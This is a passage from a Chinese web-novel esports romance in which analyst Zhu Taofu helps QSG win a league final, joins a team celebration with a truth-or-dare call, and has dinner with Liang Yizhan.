瓷白纤细的手指,在阳光下似上好透玉,能清晰可见如玉纹理的薄黛色血管,隐隐透着柔韧而富有生命力。
指尖在搭上去一瞬间,不自然地蜷缩。
旁边另一只修长宽大的手掌,径直握住她瘦弱伶仃的腕骨,截断她往后的退路。
抬眸望过去,对上倦懒而坚定的眼神。
祁招用空出来的左手掌心,强行令她的右手,贴靠在自己的手背上。
祝陶浮能感受到,他手背凸起的青筋线条,蓄积着危险原始的力量。
“好,全员到齐。”经理点点头,一锤定音,然后提高声量,大喊口号。
“我数三二一,大家一起加油!”
“三,二,一—“
全员齐声:“加油!”
很少做这种情绪如此外溢的事情,祝陶浮起初没有考虑跟着一起呐喊。
但在耳边响起声音的一刹那,她不由自主,也跟着一起。
尽管声音很小,轻到几乎不甚清晰。
“加油。”
—
万人场馆,沸反盈天,聚光灯将舞台照彻如白昼,指向最亮眼中央的冠军奖座。
QSG与TKL分列两侧,彼此之间摩拳擦掌、虎视眈眈,拼尽全力去厮杀争夺,这座近在咫尺却又遥不可及的奖杯。
bo5第一局,以QSG拿到舒适阵容的胜利而终结。
第二局,依旧是QSG
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赢。
然而接下来的三、四两局,却均是TKL胜利。
多么熟悉的剧情,胜者组决赛,也是QSG连赢两局率先拿到赛点,却被TKL连扳三局,拿下最终的胜利。
就连bp体系构造,都如此相似。
前两局是QSG主场,拿到熟悉阵容,去破TKL的新体系试验。
后面两局,则是TKL舒适区,QSG不得不随着比赛往后,暴露出bp短板的劣势。
第五局,正式开始。
“卧槽,什么诸葛亮与孟获,联赛大小王,QSG给TKL跪下!”
“哈哈哈哈哈TKL天克QSG,TKL可以开香槟咯。”
“司马串子滚!真正的TKL粉丝都是保持稳住,都不许开香槟!”
“纯理智客观分析,TKL就是很有赢面啊,从bp上就已经……等等,QSG这选的什么啊?!!!”
赛前的每一天备战,QSG都会复盘同一个问题。
与TKL的第五局,到底是在熟悉的领域寻求安全感,还是突破自我创建新体系,赛训组与队员们各执己见、争论不下。
甚至到了临上场的前一秒,大家依旧很难做出抉择。
到底是看似掌握主动的舒适圈,实则明知故犯,掉入对方的陷阱里。
还是去面对未知新世界,搏一个胜负参半的前程。
直到,锁下第一个英雄bp的那一刻,祝陶浮明了,这次QSG是选择了挑战新系。
他们用的,正是她模拟数据的最优解,却是他们最痛苦的bp阵容。
QSG为难,其实TKL也为难。
从TKL在锁下英雄时,花费的时间越来越多,甚至到倒计时最后一秒才落下帷幕,足以见得他们也处于纠结挣扎中。
前者没有按套路出牌,乖乖走进后者提前挖埋的深坑,反而重压之下,履新破局。
英雄锁定完毕,大部分网友,嘲笑QSG剑走偏峰,关键时刻走钢丝,准备等着一败涂地。
少数看得懂比赛的资深玩家,则从蛛丝马迹里,嗅到了危机中的变局,觉得QSG的bp拆解得已是当下最完美的选择。
战歌响,屏幕暗,双方进入召唤师峡谷。
从一开始进游戏的布控眼位,QSG和TKL异常谨慎,彼此你来我往,直至,第一次小龙团的碰撞。
现场唏嘘,QSG打出精彩表现,却极限交换,以生命换得龙团资源。
至此,TKL拿了人头,开启熟悉的经济滚雪球模式。
但接下来,拿到这条不起眼的小龙资源,QSG却仿佛打通了任督二脉,bp搭建的体系优势,开始逐渐显现。
并且越往后拖,TKL优势方越着急,反倒QSG身为劣势方打得不紧不慢,等着TKL一步步陷入自己的圈套中。
这一次,攻守易形,QSG是那个捕猎人。
水晶爆炸,基地倒塌,这一整年里,对战TKL的bo5终于不是失败二字。
QSG屏幕上,出现胜利。
在图标缓缓升起的第一时间,祝陶浮手机收到一条信息。
屏幕解锁,是梁以盏。
“出来一下。”
与往日夜色里的接下班不同,五点开始的比赛,现在正是华灯初上时刻。
街道人来人往,车水马龙,祝陶浮想了想,回复。
“那你偷偷地。”
30.第 30 章
时光倒流,高考的三天时间,学校门口每天都是熙熙攘攘。家长们或蹲或坐,等待着孩子走出考场。报考机构支起一个个小帐篷,派发广告单和宣传页。
焦虑、欣喜、激动、沮丧……人潮汹涌,万千情绪交织碰撞,在初夏的暑热里浮动沸腾。
考点不会在本校,格兰佩私立走的是国外留学路线,自是不会作为考点。
所幸考点离租住地不远,步行几十分钟,不用考虑交通出行或者临时订酒店的问题。
以防万一,依旧需要提前踩点,避免发生意外。
在踩点路线的时候,来回路上很多家长带着孩子,一边走一边叮咛考试注意事项。
无非是要睡好,饮食健康清淡,不要忘带身份证和笔尺橡皮等等,诸如此类的老生常谈。
梁以盏和祝陶浮混迹其中,显得有些格格不入。
少男少女的搭配,女生在前一点,男生靠后一些,落在周围家长眼里,自动等同“早恋”“不学好”的标签,带着自家孩子,与他们俩稍稍保持距离。
距离最近也是最安全的一条窄巷,三三两两的行人疏密聚散,聊得话题不外乎考试分数。
被微妙隔开以后,行走在人群之中,他们两反倒因此多余出来空间,更为轻松舒适。
“专心看路,想什么呢。”眼疾手快拽住她纤弱手腕,不至于踩上一块潮湿的青苔滑倒,梁以盏清冷声线里带着些无奈。
心惊胆战地重新站稳,祝陶浮小声地道谢,然后默默道。
“……其实你可以不用来。”
晚风里,她声音柔得几乎听不清,却还是被少年敏锐捕捉。
梁以盏懒懒散散,无所谓道:“没什么可不可以,我想来就来。”
他们闲聊的话题,关乎天边云彩的天气,关乎巷子尽头小店门口的冰淇淋,就是没有那场即将决定命运走向的大考。
可能是太过格格不入,所以其他学生几乎都是陪着踩点与接送考试的时候,身边的人未有改变,来来去去。
但考试的三天里,祝陶浮独来独往。
没有同校的同学,没有送考的老师,陪她踩点的人,一次都没有来接过她。
考试铃声响,围栏了三天的警戒线终于解散,或喜或悲,人群带着各自的心事相拥离开。
唯有祝陶浮,始终一个人。
画面定格初夏黄昏,少年懒散肆意的笑容,停留在那声“想来就来”,却再没有来接过自己。
杳无音信。
然而夏季末尾,在洲安的另一处地方,夜色里少年成长为情绪莫辨的男人,手握重权理应是愈发肆意妄为。
却从“想来就来”,变成了“你偷偷地”。
说是应酬路上的顺道而为,所以梁以盏带了司机,车也不是之前下雨,停车场里低调接送的suv。
可现在却将车辆停在基地门口马路上的临时泊车点,与其他颜色各异的车混在一起,黑亮奢华得有些滑稽又有些委屈。
基地喧嚷吵闹,灯火通明,正在欢呼QSG的胜利。
祝陶浮心里忍笑,穿过人群朝着街边走了过去。
似乎有所察觉,在她靠近车辆的那一刻,尚未伸出手指轻敲车窗,玻璃已然缓缓降下。
夜色昏沉,未能模糊他的容貌,轮廓反而愈发清晰锋利。
些许月光凝结在深邃眉骨与高挺鼻梁,于下颌阴影收束,干净而凛冽,蜿蜒没入散了颗扣子的西装衣领。
深灰眼眸看过来,薄唇翕动,梁以盏轻声说了什么,祝陶浮没能太听得清。
“……什么?”她往前走了一步,打算靠近细辩话语。
夜风里后颈微凉,忽然感觉到掌心温热,祝陶浮被一股力量掌控着,不得已稍加俯身,趴靠在窗沿,与车内人的距离瞬间拉近。
长手一伸,梁以盏手指搭在她后颈椎骨,带着不容置疑、却又不会伤害到她的利落力道。
细腻瓷白肌肤下,是微弱脉搏跳动。
修长指腹悬抵在那脉搏,像是在触碰到她黑夜里,看不见的心跳一下一下。
“恭喜。”喉结轻滚,沉哑说出二字。
薄凉的唇几乎贴在她耳垂,凛冽气息倾洒在她轻颤的眼睫,又很快随风散去。
“……谢谢。”
听见对方说了什么,祝陶浮垂着眼眸,迅速后退一步,与他间隔距离。
摁制着她的那只手,没有强行施压,松开时有意无意,温热掌心像是轻抚过白皙纤弱的侧颈,缓慢流连。
眼神落在她眼尾渐渐泛起的绯色,唇角微不可查地勾起极淡的弧度,如同闲聊天气般,状似不经意地施然启唇。
“来得晚了,恐怕不是第一个当面祝贺的吧。”
虽然很不想承认,祝陶浮别过目光,还是坦诚地点了点头。
“那……也不是第一个说出来的吧。”
诚然在游戏水晶爆炸散开,胜利图腾缓缓升起的那刻,QSG相关群消息陡然间99+。
哪怕许若歆再忙,依旧抽空表情包轰炸,连连称赞:“太强了我的浮,最后一手神之bp,一看就是出自于你!”
回以她【发射爱心.gif】,祝陶浮谦虚表示:“选出来是一回事,还得是选手们要发挥出来。”
此言确属事实,在现在版本变动越来越频繁、英雄数值越来越复杂,bp选择和选手发挥,对于胜利的奠定,几乎快要呈现一半一半的趋势。
lpl需要好的选手,更需要优秀的教练,否则不会每年大部分强队的教练,并非国产,而是花了大力气去国外挖来的赛训。
“我不管,在我心里,QSG力克强敌TKL,你就是立天功!”许若歆不听不听,疯狂夸夸。
“等你们俱乐部的庆功宴完了,咱两一定好好吃饭!”
尽管祝贺的消息纷至沓来,第一条,依旧是梁以盏。
出来一下。
哪里算说出来的恭喜。
祝陶浮不置可否,既没点头,也没摇头。
以及,许若歆这句,提点了她,不再陷入梁以盏的节奏,而是浅浅一笑。
“虽然说了祝贺,你也不是第一个和我吃饭的哦。”
路灯昏黄恹恹,冷峻侧颜在晦暗里锋锐似雪,梁以盏语气平淡。
“知道,昨晚你就说了。”
一时光顾着反驳,加上连日熬夜通宵,祝陶浮忘了他接自己下班时,的确提过这么一嘴事情。
“不过,我可以做你第一个。”
祝陶浮愣了愣,下意识找补:“还是算了吧,你今晚还有应酬,客商会介意。”
“他们不介意。”梁以盏说。
“额……我也不想跟着应酬。”她继续抛出理由。
没什么所谓地应了声,他漫不经心地说:“我也不想,所以就我和你。”
“你来吗。”
--
尽管不知道梁以盏说推掉应酬、与她赴约的真假性,祝陶浮没有选择上车。
总决赛的胜利来之不易,全年就这么一场,因此各方媒体都抓住时机,逮着QSG大大小小将流量拉满,不是像平时例行采访完就可以下班。
因此,等队员们回基地,接上祝陶浮出去庆功宴,已然是第二天凌晨过后。
过度劳累的紧张疲乏过后,是极致的开心激动,此时正在兴奋劲头,队员们一拍即合,干脆将庆功宴推到后面一天,好好睡一觉再大吃一顿,才肯狠狠宰一笔一直压榨他们的队长。
于是一行人,前往一家私密性极高的高档club,在包厢里鬼哭狼嚎,发泄连日来的痛苦压抑。
虽然,他们依旧是从祁招钱包里掏钱。
眼角斜睨,祁招
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笑骂了一句,却还是派服务员取拿从自家带来存放的红酒,供大家挥霍享用:“出息,净干丢脸事,让人新来的,以为你们没见过世面。”
不以为耻、反以为荣,队员们嘻嘻哈哈,连连称颂:“哎呀,所以还得是祁队,多多带咱,见识见识!”
教练组则是摇了摇头,笑说着叹气:“哎,看看,还是小祝让人省心,chess你带出来的兵,都什么德性。”
偌大宽敞的包厢,祝陶浮坐在沙发上,弯着眼睛笑眯眯地看着他们。
不唱歌也不喝酒,她静静地吃着茶几上的果盘。
队伍里只有一个女生,见她不言不语,QSG没有像社会上的商务应酬,那样起哄,强迫喝酒唱歌、让人助兴。
反倒很贴心地替她点了一些甜点,和温热茶饮,领队颇为歉疚道:“不好意思啊,让你看笑话了。”
祝陶浮笑了笑,表示没有。
大家鬼哭狼嚎,把酒言欢,折腾大半宿,终于累了,中场休息玩起了酒桌上,活跃气氛的经典游戏。
白的红的,喝多了顾不上摇骰子。
上单把空的啤酒瓶往茶几上一扔,开始旋转:“来来来,真心话大冒险,一个都别想逃!”
相较于队员们上头嗨歌,祁招显得懒散淡定许多,靠在沙发上拨弄手机,不知道在干什么。
所以游离了大半场的人,上单径直把瓶口对准祁招,嚣张一指:“你,身为队长,给大家打个样。”
“真心话,还是大冒险。”
懒散抬眸,祁招轻嗤了声,拿过一旁的酒杯,淡定倒酒。
“都不选。”
说完,将酒液一饮而尽,接着连饮两杯,昭示了他冷然态度。
还准备拿捏队长、猛猛吃瓜,结果酒精混沌的大脑,后知后觉想起祁招酒量挺好,根本不怕威胁,玩不玩纯看他心情。
上单:……
众人哄笑,祁招修长的手指一点,勾着酒瓶开始旋转。
在转动的时候,他看了一眼,坐在对面,相隔着几个人的地方。
包厢灯光被队员们调成了忽而闪烁的氛围暗灯,在光束亮起的一刹那,祝陶浮注意到,看向自己的目光。
慵懒不羁,像是在黑暗中锁定猎物。
不会这么巧吧……
脑海里闪过这么一个念头,下一秒,瓶口稳稳当当,对着自己。
祝陶浮:……
“哇哦,这是什么新手福利,一上来就中了啊。”
“祁招,欺负人小姑娘,有意思吗。”
“诶,别太过分啊,待会儿要是罚小祝的酒,你替她喝了啊。”
……
其他人状似调侃,实则替祝陶浮解围。
若是她都愿意选,也能避免喝酒问题。
祁招不耐地轻点下颌,冲着对面道:“人家都还没说话,你们在急什么。”
随即问她是真心话,还是大冒险。
“……真心话吧。”祝陶浮。
翘着的二郎腿放下,祁招稍稍坐靠着沙发,长腿落地,散漫半垂眼皮。
“那天接你下班的,是你男朋友吧。”
不是询问,而是陈述。
神情倦懒,然而看过来的眼神,却锋锐似刀锋,挑破人心。
“不是。”坦然回望过去,祝陶浮给出答案。
唇角勾起抹嘲讽的弧度,祁招并没有结束,紧跟着追问:“你说了不算,给他打电话,才能验证到底是什么。”
包厢里短暂安静,祝陶浮神色平静,拿出手机拨打。
免提开着,电话那头人声嘈杂,似乎在忙。
稍稍走到僻静些的地方,便听到了对方的答案。
“什么关系。”清冷嗓音隔着电流格外磁性低哑,他轻笑了一声,慢慢说道。
“你包的我。”
31.第 31 章
此言一出,包厢里再次陷入安静。
就连方才显得吵闹的ktv音乐,众人只觉得声音不够响亮,恨不得再大一点,让背景音淹没手机里的人声。
虽然人声的音量并不大,却一字一顿,掷地有声,沉稳清冽压过背景杂音。
当事人本人,亦是十分震惊。
之所以在祁招发话以后,祝陶浮能能很快地反应过来,拿出手机拨打电话。
是因为她知道,梁以盏今晚忙于应酬,抽不出时间来应和自己。
大冒险只规定了动作,对方不答应就不是自己的事情了,祝陶浮打算钻规则的漏洞,蒙混过关。
然而在铃声快要结束的时候,对方接了起来。
手机免提模式,放大了另一端的动静,似乎他正在远离人群,来到例如阳台之类的僻静之地。
趁着这几秒的空档,祝陶浮担心他说出什么,会对他不利。
赶在他开口以前,她简要说明来由。
“……茶茶。”不方便叫本名,她硬着头皮,喊备注。
对方若有似无地嗯了声,略表疑问。
如果能看到表情,祝陶浮估摸,他应该是微挑着眉,神色带着戏谑意味。
大冒险不能提前跟来者说明情况,祝陶浮强行让自己镇定下来,心跳得没那么快,不至于让人瞧出端倪。
“那个……我们,是什么关系啊。”
这话在他们两之间,显得尤为突兀。
好似心照不宣,两人从不会提起这个敏感而尖锐的话题。
此时此刻,却借着大冒险的玩笑话说了出来。
以梁以盏心思深敏,必然从一开始就能察觉到异常。
以防万一,祝陶浮还补了一句。
“是……你觉得哈。”
你觉得,三个字重读。
感觉是主观上的,并非客观,这样就不会提起客观存在的订婚关系。
而免提打开,好也不好在此凸显。
不好的地方是防止串供,好的点在于ktv再怎么想保持安静,总会传来些微嘈杂声。
因此,层层推倒之下,梁以盏一定明白,她说的是玩笑话。
答案可以是室友、同学……
总之,不会是他略一沉吟以后,给出的--
“你包的我。”
愣怔抬眸,看向包厢里十余人,其他人也正看着她。
除了向她提问之人,坐在灯光阴影处,眼睫似垂非垂,看不清在想什么。
片刻,祝陶浮噎了一下,默默补救道:“……你别开玩笑了啊。”
按照玩笑的形式提问,确实没错,但没想到,他也以玩笑话的答案回予。
一时语塞,祝陶浮只好咬牙挤出来这么几个字。
电话那端似是哑懒地笑了下,低沉嗓音慢悠悠地传过来。
“让我睡在你那,我理解的有问题吗。”
祝陶浮:“……没有。”
说完,迅速挂断电话。
“额,哈哈哈,原来是室友啊。”
辅助挠挠头,打起圆场。
兄弟之间互相玩笑就算了,毕竟多年相处熟悉彼此品性。
但祝陶浮毕竟才来战队一个月,还是个小女生。
娱乐归娱乐,探听到别人的隐私,多少有点不好意思。
但祁招没有丝毫羞赧,反而吊儿郎当地继续追问。
“你不是借住在别人那里,还能带个吃软饭的。”
“哎,chess,你怎么还人身攻击上了。”上单白了他一眼,呵斥道。
“人家说不定是原本的房子维修或者怎么的,去小祝那里过渡。”
理由经不起推敲,漏洞百出,祝陶浮还是隔空感激地朝他看了一眼。
“就是,以为谁都跟你一样不要face,整那么多绯闻,经理头秃得都在打听哪家植发效果好。”领队叉了块水果丢进嘴里,边嚼边吐槽。
话题很快你一言我一语,不知不觉中转移。
酒桌游戏尚在继续,嬉闹笑声中,来到祝陶浮这里。
好巧不巧,在她转动酒瓶时,瓶口对准了祁招。
“干得漂亮!就是要狠狠报复回去。”打野乐呵呵道,撺掇她选大冒险。
“赞同,chess嘴里就没一句实话,而且你也说不过他,搞不好还被绕进去。”从前浪费过一次整蛊机会,中单分享经验,也让她选大冒险而非真心话。
略一思索,祝陶浮看向他,只道。
“既然来了,一晚上都坐在那里多没意思,那就唱首歌吧。”
此言一出,大家满是期待,变成了满堂唏嘘,遗憾就这么放过了他。
“哎,小祝,你真的太善良了。”教练哈哈大笑:“你看人怎么对你的,你这招也过于温柔了!”
看似有招,实则没招啊,祝陶浮心里苦笑。
知晓他们是好心,祝陶浮无奈地说:“但是,你们是不是忘了,他还有第三条路可以选,喝酒。”
第一轮开头,是祁招连喝三杯,拒绝二选一。
经他一提,大家喝懵了的大脑,后知后觉反应过来。
“对哦,忘了这小子,还留有后手!”
“算了算了,那唱歌这么简单的任务,你总得干吧?”
众人起哄笑言,祁招依旧拽得二万八五,躺靠在沙发上一动不动。
灯光忽明忽暗,他淡淡瞥眼,看向祝陶浮。
然后懒散站起身,拎起桌面酒杯,倒酒。
“哎哟!又赖!玩不起啊祁队?”
一片叹气声里,祁招长腿一迈,居高临下地开口。
“不是玩不起,是不玩。”酒液摇晃,喉结滚动,晦暗灯光勾勒他不羁而落拓的侧颜。
三杯酒一饮而尽,唇色沾了酒的湿润欲色,眼底却是一片清明。
眼神若有似无,落向对面,他懒懒道:“留着以后吧。”
--
国内联赛的冠军,作为一号种子,锁定世界赛名额,QSG进入短暂休假模式。
之前微信定好,祝陶浮便约上许若歆,在洲安一家烤肉店吃饭。
开心庆祝来之不易的胜利,诉说当天的紧张与辛苦,许若歆心直口快,问出了一直以来想问的问题。
“小桃桃,有考虑,后面留在QSG吗?”她问。
“我绝对不戴粉丝滤镜,作为一个极为客观的观众,我觉得你bp真做的挺好的,lpl赛训很久没有新鲜血液了。
几乎没有
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任何犹豫,祝陶浮舀了一勺芝士玉米,说:“没有这个打算。”
“为什么,你对电竞感兴趣,做得不错,QSG氛围也很好,没有那么多乱七八糟的事情,你真的不继续吗?”许若歆不解,追问道。
冲她轻浅地笑了一下,祝陶浮说:“现在版本更新快,战术玩法多,你知道的,我不是特别想卷的人,就还是回栖梧,随便找份工作,过摆烂的日子吧。”
回忆起什么,许若歆叹了口气。
“你当然不是卷的性格,当初保研综测需要提分,明明专业课排名在前,但那些活动你一个都不参加,公示名单最后没有你。”
“可你又没完全躺平,考研考本校那是手到擒来,你偏偏又要去栖梧唯二的985之一。”
祝陶浮:“我母亲的愿望,所以我很想去啦。”
用镊子将烤好的牛肉,夹在祝陶浮的盘子里,许若歆才给自己碗里放了两块,大口吃起来。
“我知道,你之前也是这么说。”
“那你现在呢,总得为你自己活吧。”当她是听家里话的乖乖女,许若歆还在苦口婆心地劝说。
“小桃桃,你搞电竞的状态,跟你那种平时淡淡的茫然,真的不太一样。”许若歆分析,头头是道。
“而且你跟电竞的适配性,矛盾又不矛盾:电竞电竞,竞技争得你死我活,你这个淡人身处其中,理应卷得渣都不剩,可你就像夹缝中的小草,竟然长得还挺好。”
“你之前说过,在哪里都是混日子,你又不担心其他人思考的那些脏简历、前途发展等等问题,何不让自己开心一点呢?”
她说得口干舌燥,坐对面的祝陶浮,及时给她倒了一杯清酒解渴。
“我知道,小歆歆你是为我好。”她眉眼弯弯,如平日里温和。
“就辛苦你,待会儿陪我,给分析师的小宝贝,买点小礼物了。”
--
下午逛街的时候,许若歆临时被叫回去加班,她有些不好意思:“哎,每次约好结果不是这就是那,而且还是你请客,下次一定得是我!”
上班不似上学,工作以后大家各奔东西,各有各的匆忙,能够说约就约,已实属不易。祝陶浮表示没事,相聚就很满足。
天色尚未完全昏暗,祝陶浮已到家,这是一个月来,返回最早的一次。
按照以往梁以盏接她下班的时间,她觉得他肯定没回来。
然而门锁人脸识别,甫一打开,客厅靠窗的落地灯幽幽亮着。
梁以盏偏撑着侧脸,慵懒地翻阅膝盖上的财经杂志。
听到动静,淡淡抬眸,看向门口。
“回来了。”
怔了怔,祝陶浮才慢慢点头。
手里提着的礼袋,发出窸窸窣窣的声响,上面清晰印着品牌logo,底下缀着“母婴用品”的备注。
随意将杂志丢在一边,梁以盏起身,缓慢踱步至她身侧。
发现他的视线落在自己右手的袋子上,祝陶浮闲聊似的询问。
“怎么了,你是对这方面感兴趣?”
长而密的眼睫,在暖光映照下投射冷淡阴翳。
梁以盏声线平平,仿佛置身之外般疏离冷漠。
“我不想要孩子。”
32.第 32 章
管生不管养,在豪门圈屡见不鲜。
祝陶浮自身,就是这句话的证明。
但是不要孩子,几乎没有。
在梁以盏这个年纪,属于大逆不道了。
下午在逛街的时候,母婴店里陈列着各式各样可爱迷你的小玩意,柔和的氛围灯和空气里若有若无的干净爽肤粉清香,令人不自觉地沉浸在放松亲昵的情绪里。
“哎呀,你说这些小东西这么可爱,弄得我都心动想养一个了。”婴儿穿的衣服绵柔小巧,抚摸上去的触感心头一软,许若歆本能地发出感慨。
正在挑选安抚玩具,祝陶浮头也未抬,提醒道:“你可以看看标签价格,冷静一下。”
两人所处的是一家中高档次的店铺,许若歆拿出一套五条装的口水巾,翻过背面看价格。
“卧槽,这啥啊就要将近一千块,我身上裙子都没这贵!”看着娴静的美女爆了声粗口,祝陶浮悄悄地扯了扯她的下摆,示意她小点声。
店里跟在她们身后的服务员,冲着她们翻了个不加掩饰的白眼。
许若歆:……
不死心地往前,她又查看前方的一辆小孩坐的玩具车。
一万多,自己转地铁的小电驴,都还没这一半贵。
旁边另一辆空间稍大一点的小轿车,价格于此翻了一倍。
紧挨着的一辆,外形没什么变化,颜色更酷炫,价格再次乘以二。
“我不理解,这不是一模一样的,为什么这个两万多,那一辆就要五万?”没忍住内心的吐槽,许若歆询问进店后一路跟着的服务员。
脸上挂着标准却冷漠的微笑,服务员轻声细语地解释:“因为这一辆的颜色是普通款,另一辆的颜色是我们今年的限定款呢。”
“小孩坐的玩具车还分什么普通和限定?!!!这又不是什么真正开在马路上的车,颜色不一样,价格也不至于翻倍吧。”许若歆震惊,直言直语。
随后又一指另一边,迷你包装的婴儿沐浴油,她说:“那既然你们这车按照大人开的车,颜色区分价格,怎么这么少的沐浴油就要四位开头,我平时一大瓶才两位数哦。”
用看白痴的目光,瞧着许若歆,服务员是连解释都懒得给了。
“诶,行了行了,咱们去结账。”拉着她的手,祝陶浮无奈地将人拽离现场,去往收银台。
兜里的钱也不够买上什么大物件,祝陶浮挑了一个巴掌大小的安抚玩具,和一个宝宝辅食碗,便结束购物。
在网上搜索,看网友们推荐这个牌子很不错,就是价格不太友好。
来之前祝陶浮给许若歆简单科普,打过预防针,架不住后者依旧瞪眼破大防。
“虽然刚刚我母性泛滥了一下,还好金钱冷冰冰地帮我止住了。”从店里走出来,许若歆感叹。
“现在养小孩的成本也太高了吧,我们小时候都过家家那些小玩意,几十块钱就解决了,上百块算顶顶好了,其他小朋友都得馋哭。”
商场里的玻璃橱窗,折射出冰冷金色的光芒,既吸引着路人向往的目光,也用浓烈高级的香氛,与普罗大众拉开距离,可望而不可及。
“你看,网上其他牌子就没那么贵……好吧,大部分还是跟成人价格差不多,有过之而无不及。”
拿出手机搜索别的网店价格,许若歆喃喃自语。
“衣食住行,竟然比我还要昂贵精致。”
“你这是最基本的,还没包括,那些各种各样的补习班,兴趣班等等费用。”无奈出声,祝陶浮看了她一眼。
长长地叹了一口气,许若歆颇为惆怅。
“唉,咱们这种牛马,能把自己养活就够累了,养孩子这种事情,还是交给有钱人。”
按照许若歆的说法,有钱人不会为生计发愁,想养就养,所以豪门圈子里才搞出那么多私生子的纠纷。
可作为梁氏集团的掌权人,先不论生养孩子多么轻而易举,客观现实层面,家族企业总得有人继承。
一时间,祝陶浮不清楚他什么含义,更不知道怎么接话。
落地窗外夕阳将沉未沉,庭院里的花草在晚风里摇曳,在偌大寂静的客厅投下婆娑剪影,柔和了站立其中,颀长清冷的身形。
“嗯……可能是你现在的想法吧,以后就不会这样了。”
话一出口,祝陶浮顿觉,听着有些耳熟。
都是祝峥害的,天天被他催婚,自己说话也染上了他的毛病,成了施加催婚的人。
本意仅仅是打破两人相对无言的寂静,但说出去的话,泼出去的水,好像气氛温度更降了一点。
“我不会变,以后也不会想要。”语气稀疏平常,似乎聊得不是什么大事,梁以盏漫不经心道。
落日余晖斜斜映照,落在沉灰色瞳珠里,溅起微不可察的亮光。
向来清冷低沉的声线,似乎也熔于流淌的暖金色里,慵懒而平和。
“但至于到底要不要的,还得看人。”
眼睫微耷,视线若有实质凝落在眼前人身上。
祝陶浮眨了眨眼,并未接收到信号。
感觉到对方微凉指尖,沾染沐浴后未褪的潮湿水汽,轻轻划过自己刚从外面回来、略显燥热的掌心。
绸质浴袍松懒系在腰间,颀长清冷的身姿稍稍俯身,半湿发尾水珠滴落,顺着敞开领口,缓缓淌过侧颈、锁骨,往下是筋脉起伏的胸膛,肌肉线条轮廓分明,然后没入更深处……
凛冽沉稳气息,交织着蒸腾体温,将散未散勾勒神秘诱惑的荷尔蒙。
默默别过眼,祝陶浮悄悄后退一小步。
身前之人却上前,修长带着薄茧的手指,强行探寻开她紧攥掌心。
秀眉微蹙,祝陶浮忍耐着说:“你……”
将将吐出一个音节,那股侵略性极强的压迫感,随着他重新站直身体,渐渐消散些许。
似是低低地在她耳边轻笑了声,气息洒在白皙耳垂,微红生氧,祝陶浮手里一空,梁以盏自然地接过她手里的袋子,转身往里走。
“你都说了是以后,现在,择日不如撞日,你答应的庆功宴,来吧。”
慢半拍地回过神来,祝陶浮赶紧追了过去:“……现
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在?可是我还没订好餐厅?”
在她的计划里,请梁以盏吃饭,得挑个日子,毕竟他是大忙人。
也得选个仔细选个餐厅,什么好吃的他没品尝过。
一切来得突然仓促,竟然就敲定在此时此地。
跟着梁以盏一路来到厨房,祝陶浮踟蹰道:“是我请你,这样不太好吧……”
话音未落,他懒散地瞥过来,不甚在意:“所以,你来给我打下手,抵了。”
说是给他帮忙,基本上是梁以盏制作,祝陶浮围观,简单地帮忙递个调料、端个盘子。
菜系也不复杂,均为家常菜,打得是安全牌。
繁琐的山珍海味,日理万机的梁董就算做了,祝陶浮也不敢吃。
毕竟,他既没时间研究菜谱,也从小在国外长大,水土不服。
高中两人租住在一起时,他连最普通的白粥都煮不明白。
某次祝陶浮感冒,夜晚暴雨,外卖迟迟不至,以至于从未开火过的厨房,难得燃起灶火。
临时在附近超市买了些菜和佐料,梁以盏卷起衣袖,下厨做饭。
然而炒出来的菜,不是生的,就是糊的,醋放多了,盐放少了……
甚至最基本的电饭煲煮饭,勺子舀出来一勺开水,外加夹生米。
于是梁以盏默默将碗,从祝陶浮面前挪走。
这一口要是喝下去,病情不是好转,多半会是斗转急下。
因此,望着最后呈现在桌上,色香俱全,祝陶浮惊讶道:“你什么时候手艺这么精湛了。”
味不知道,还得一尝。
如果不是她全程参与,她都要怀疑是不是厨师做好后,梁以盏替换的。
斜睨了她一眼,梁以盏嗤了声:“瞧不起谁,不敢试毒?”
先挑了块糖醋排骨,祝陶浮做好了半生不熟的准备,结果咬下去,酸甜可口,没有半分不适。
然后依次尝试了香煎羊排、清蒸大闸蟹、响油鳝丝……
抬眸望向对面,梁以盏被她看得有些莫名。
“又怎么了。”他说。
停顿片刻,祝陶浮认真询问:“你之前在国外,过得很辛苦吧。”
梁以盏:?
记忆里,在格兰佩高中,是他最狼狈的时候,但也没看见他去后厨端盘子、打杂之类。
只是的确很辛苦,他早出晚归,两人同住屋檐下,除了在地铁口接送,几乎是两条平行线,不与相交。
遂打消念头,祝陶浮想了想,继续分析:“或者,你兼修了一门厨艺课程?听学姐说,她之前有朋友在国外,就是……”
“别之前了。”梁以盏径直打断,语气里难得压了些不易察觉的无奈。
沉灰眼眸瞥看向她,他懒洋洋道:“就现在。”
现在吗……
祝陶浮看着他,那现在,眼前,不是国外,在国内……
她点了点头,坦诚表示:“哦,那就是眼前这位--”
梁以盏:“嗯?”
祝陶浮:“神厨小茶茶。”
梁以盏:……
33.第 33 章
拖拖拉拉几天,QSG这顿庆功宴终于姗姗来迟。
倒不是俱乐部不愿意组这个局,而是QSG本身自带流量,加上夺冠带来的热度,各种物料宣传片拍完,还有队员忙于各自事物,很难时间一致。
休息的这几日里,祝陶浮也没闲着。
上午整理论文,下午坐地铁去祝峥公司看报表。
依旧是乘坐他的私人电梯,秘书引领没有外人察觉,祝陶浮来到总裁办。
见她果真是决赛结束,便不再呆在QSG,祝峥心里放心了许多。
“早就说了,梁以盏跟他那两兄长斗得水深火热,你少掺和进去。”
“不过,可总算听了一回话,没有再跟祁招往来。”
离开QSG,返回洲安,原本就是计划中的事情。
祝峥要这样认为,理由如上。
她也不多搭理,埋头分析数据,随便他去。
话音转换,祝峥满意尚未几分钟,懒散躺在沙发上,又开始挑刺祝陶浮。
罗里吧嗦一大通,核心思想归结为一句话—
“虽然你断了跟祁招的联系,但与梁以盏的进度平平,还是得加把劲啊。”
过往的某个同月数据汇总完毕,祝陶浮喝水的空隙,冷静回复。
“感情不是工作,努力不等于业绩。”
末了,她端着茶杯,看向祝峥:“要是有用,你犯得着抓我当苦工?”
字字句句,皆属事实,祝峥“你”了半天,没有下文。
他张了张嘴,指着祝陶浮,想说什么。
最后手指动作变成挥了挥手,望着窗外夕阳,英俊眉眼间流露出一丝沧桑。
祝陶浮不想理这个戏精,果断收拾东西,准备背包走人。
方才还躺在沙发上,见她已经背着书包站起来,祝峥再也躺不平,迅速起身,快步来到她身前,拦住去路。
“等等,今天你这么早就走了?”
祝峥疑惑,祝陶浮更不解。
“不然呢,你叫我来得时候,跟你说了,晚上有事。”
晚上是QSG庆功宴,祝陶浮没有说得具体,否则祝峥又要絮絮叨叨。
